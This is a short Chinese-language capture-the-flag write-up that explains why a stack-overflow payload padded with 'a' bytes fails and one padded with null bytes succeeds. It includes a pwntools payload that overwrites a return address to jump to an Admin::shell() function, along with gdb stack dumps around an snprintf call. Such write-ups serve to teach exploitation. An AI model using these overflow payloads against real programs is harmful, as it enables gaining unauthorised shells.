这道题本身难度不高,具体解题过程可以参考其他师傅的write up。这里主要记录自己做题中的一个疑惑。
构造payload的时候,为什么用‘a’填充就会报错,用‘\x00’填充就没问题?
问题出在
0x400a39 call snprintf@plt <snprintf@plt>
首先看下用a填充的时候
payload = b'2jctf_pa5sw0rd\0'
payload = payload.ljust(0x48, b'a') + p64(0x400e88)
执行snprintf函数之前,栈结构如下,0x7ffe95152a98
是我们希望跳转的地址
00:0000│ rsp 0x7ffe95152a30 —▸ 0x7ffe95152ab0 —▸ 0x7ffe95152c00 —▸ 0x400eb0 (__libc_csu_init) ◂— push r15
01:0008│ 0x7ffe95152a38 —▸ 0x7ffe95152b38 ◂— '2jctf_pa5sw0rd'
02:0010│ 0x7ffe95152a40 —▸ 0x6021b8 (login+88) ◂— '2jctf_pa5sw0rd'
03:0018│ 0x7ffe95152a48 —▸ 0x7ffe95152ad0 —▸ 0x7ffe95152a98 —▸ 0x400e88 (Admin::shell()) ◂— push rbp
04:0020│ rcx rdi r8 0x7ffe95152a50 ◂— '2jctf_pa5sw0rd'
05:0028│ 0x7ffe95152a58 ◂— 0x6100647230777335 /* '5sw0rd' */
06:0030│ 0x7ffe95152a60 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 6 skipped
0d:0068│ 0x7ffe95152a98 —▸ 0x400e88 (Admin::shell()) ◂— push rbp
0e:0070│ 0x7ffe95152aa0 ◂— 0x0
0f:0078│ 0x7ffe95152aa8 ◂— 0x8efdc4a1c20f1800
10:0080│ rbp 0x7ffe95152ab0 —▸ 0x7ffe95152c00 —▸ 0x400eb0 (__libc_csu_init) ◂— push r15
11:0088│ 0x7ffe95152ab8 —▸ 0x400bd8 (main+261) ◂— mov eax, 0
执行后, 因为向0x7ffe95152a98
开始的位置传入了50个字符,因此原栈结构被破坏
09:0048│ 0x7ffe95152a78 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 3 skipped
0d:0068│ 0x7ffe95152a98 ◂— 0x61616161616161 /* 'aaaaaaa' */
0e:0070│ 0x7ffe95152aa0 ◂— 0x0
snprintf
函数遇到\x00
时会被截断,因此当我们用\x00
去填充的时候,覆盖到sprintf位置的字符串为Password accepted: Password accepted: \n
,长度并不足以覆盖我们构造的返回地址,因此此时可以getshell成功。